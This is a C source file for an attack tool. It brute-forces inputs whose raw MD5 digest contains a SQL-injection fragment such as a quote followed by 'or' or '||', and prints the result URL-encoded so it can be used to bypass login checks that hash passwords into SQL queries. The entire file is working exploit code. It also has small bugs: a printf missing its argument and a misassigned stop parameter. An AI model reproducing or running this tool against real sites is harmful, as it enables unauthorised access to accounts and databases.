md5sql_brute2.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <openssl/md5.h>

int check_result(char *result)
{
    int i = 0;
    char c1,c2;
    while (i < 12) {
        if (result[i++] == '\'') {
            while (isspace(result[i]))
                i++;

            c1 = result[i++];
            c2 = result[i++];

            if ((c1 == '|' && c2 == '|') || ((c1 == 'o' || c1 == 'O') && (c2 == 'r' || c2 == 'R'))) {
                if (c2 != '|') {
                    // need at least one space
                    if (!isspace(result[i++]))
                        return 0;
                }

                while (isspace(result[i]))
                    i++;

                if (result[i] == '\'')
                    return 1;

                if (!isdigit(result[i++]))
                    return 0;

                if (result[i] != '#')
                    return 0;

                return 1;
            }

            return 0;
        }
    }

    return 0;
}

void try_bruteforce(int min_len, int max_len, int start, int stop)
{
    unsigned char password[128];
    int i, j;
    int len, chkPos;
    MD5_CTX md5Ctx;
    char result[17];

    len = min_len;
    memset(password, 0, 128);

    // set password first time
    for (i = 0; i < len; i++)
        password[i] = 0;
    password[len - 1] = start;
    chkPos = max_len - 1;

    result[16] = 0;
    while (len <= max_len) {
        // try decrypt with password here
        MD5_Init(&md5Ctx);
        MD5_Update(&md5Ctx, password, len);
        MD5_Final((unsigned char*) result, &md5Ctx);

        if (check_result(result)) {
            printf("password: ");
            for (j = 0; j < len; j++)
                printf("%02x", password[j]);
            printf("\n");
            printf("password: ");
            for (j = 0; j < len; j++)
                printf("%%%02x", password[j]);
            printf("\n");
            printf("result: ");
            for (j = 0; j < 16; j++)
                printf("%02x", (unsigned char)result[j]);
            printf("\n");
            printf("result: %s\n", result);
            return;
        }

        for (i = 0; i < len; i++) {
            if (++password[i])
                break;
        }
        if (i == chkPos) {
            printf("chkPos value: %d\n", password[i]);
            if ((int)password[i] == stop)
                return;
        }
        if (i == len) {
            password[i] = 1;
            len++;
            printf("now len is: %d\n", len);
        }
    }
}

int main(int argc, char* argv[])
{
    int min = 4;
    int max = 4;
    int start = 0;
    int stop = 256;

    if (argc < 3) {
        printf("Usage: %s min max [start=0] [stop=256]");
        return 1;
    }

    min = atoi(argv[1]);
    max = atoi(argv[2]);
    if (argc > 3)
        start = atoi(argv[3]);
    if (argc > 4)
        start = atoi(argv[4]);

    try_bruteforce(min, max, start, stop);
    return 0;
}